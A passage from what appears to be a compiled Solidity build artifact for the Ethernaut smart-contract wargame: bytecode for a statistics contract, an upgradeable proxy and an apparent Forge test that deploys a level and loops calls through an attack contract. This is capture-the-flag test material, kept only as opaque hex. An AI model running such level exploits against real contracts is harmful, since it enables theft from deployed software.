84165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122017b518fd1554d34cc5de65e73be443b811744865ab1b3a083938af63295d35df64736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;403:1819:122;420:32:154;259:12:155;403:1819:122;420:32:154;410:43;382:71;;403:1819:122;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001bdf565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001c22565b620001b3620001fa36600462001d0e565b62000a2b565b6200020a62000bf6565b604051620001c7919062001de1565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001ea4565b620001da6200025736600462001f71565b62000ef8565b6200019a62001088565b6200027162001263565b604051620001c7919062001f89565b620001b36200029136600462001fef565b62001338565b6200023762001457565b620002b8620002b23660046200200d565b62001551565b6040519015158152602001620001c7565b62000271620016e1565b6200019a620017b6565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001868565b620001da6200193c565b6200019a6200032f36600462001f71565b6200199c565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762002049565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002049565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001338565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b84565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620020ea565b905080600182516200098291906200227a565b8151811062000995576200099562002049565b60200260200101515f0151600281518110620009b557620009b562002049565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002290565b90505f81848560405160200162000acd929190620022e2565b60408051601f198184030181529082905262000aed929160200162002390565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b51908590600401620023c2565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002290565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001a1090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b90620023d6565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb990620023d6565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c70565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb4919062002410565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62002049565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f604051620011059062001b92565b604051809103905ff0801580156200111f573d5f803e3d5ffd5b5090505f5b600a8110156200123657737109709ecfa91a80626ff3989d68f67f5b1dd12d631f7b4f30620011554360016200242e565b6040518263ffffffff1660e01b81526004016200117491815260200190565b5f604051808303815f87803b1580156200118c575f80fd5b505af11580156200119f573d5f803e3d5ffd5b50506021546040517fd018db3e0000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152908516925063d018db3e91506024016020604051808303815f875af115801562001206573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200122c919062002444565b5060010162001124565b5060205460215462001260916200125a916001600160a01b03918216911662001551565b62001ab2565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620012a690620023d6565b80601f0160208091040260200160405190810160405280929190818152602001828054620012d490620023d6565b8015620013235780601f10620012f95761010080835404028352916020019162001323565b820191905f5260205f20905b8154815290600101906020018083116200130557829003601f168201915b50505050508152602001906001019062001286565b5f80604051620013489062001ba0565b604051809103905ff08015801562001362573d5f803e3d5ffd5b5090505f604051620013749062001bae565b604051809103905ff0801580156200138e573d5f803e3d5ffd5b5084836040516200139f9062001bbc565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013d9573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001438575f80fd5b505af11580156200144b573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200153857602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014e45790505b505050505081525050815260200190600101906200147a565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620015ad575f80fd5b505af1158015620015c0573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156200161e575f80fd5b505af115801562001631573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001695573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016be9190810190620020ea565b9050600181511115620016d6576001915050620016db565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200172490620023d6565b80601f01602080910402602001604051908101604052809291908181526020018280546200175290620023d6565b8015620017a15780601f106200177757610100808354040283529160200191620017a1565b820191905f5260205f20905b8154815290600101906020018083116200178357829003601f168201915b50505050508152602001906001019062001704565b6023546040517fca669fa70000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063ca669fa7906024015f604051808303815f87803b15801562001826575f80fd5b505af115801562001839573d5f803e3d5ffd5b50506020546021546200186693506200186092506001600160a01b03918216911662001551565b62001b31565b565b6008545f9060ff161562001880575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200190f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001935919062002465565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019a982436200242e565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a6790869086906004016200247d565b5f60405180830381865afa15801562001a82573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001aab9190810190620024ae565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b17575f80fd5b505afa15801562001b2a573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001b00565b61063080620024e583390190565b61021b8062002b1583390190565b610ae58062002d3083390190565b611e7a806200381583390190565b610daa806200568f83390190565b6001600160a01b038116811462001260575f80fd5b5f805f6060848603121562001bf2575f80fd5b833562001bff8162001bca565b9250602084013562001c118162001bca565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c645783516001600160a01b03168352928401929184019160010162001c3d565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001caa5762001caa62001c70565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001cdc5762001cdc62001c70565b604052919050565b5f67ffffffffffffffff82111562001d005762001d0062001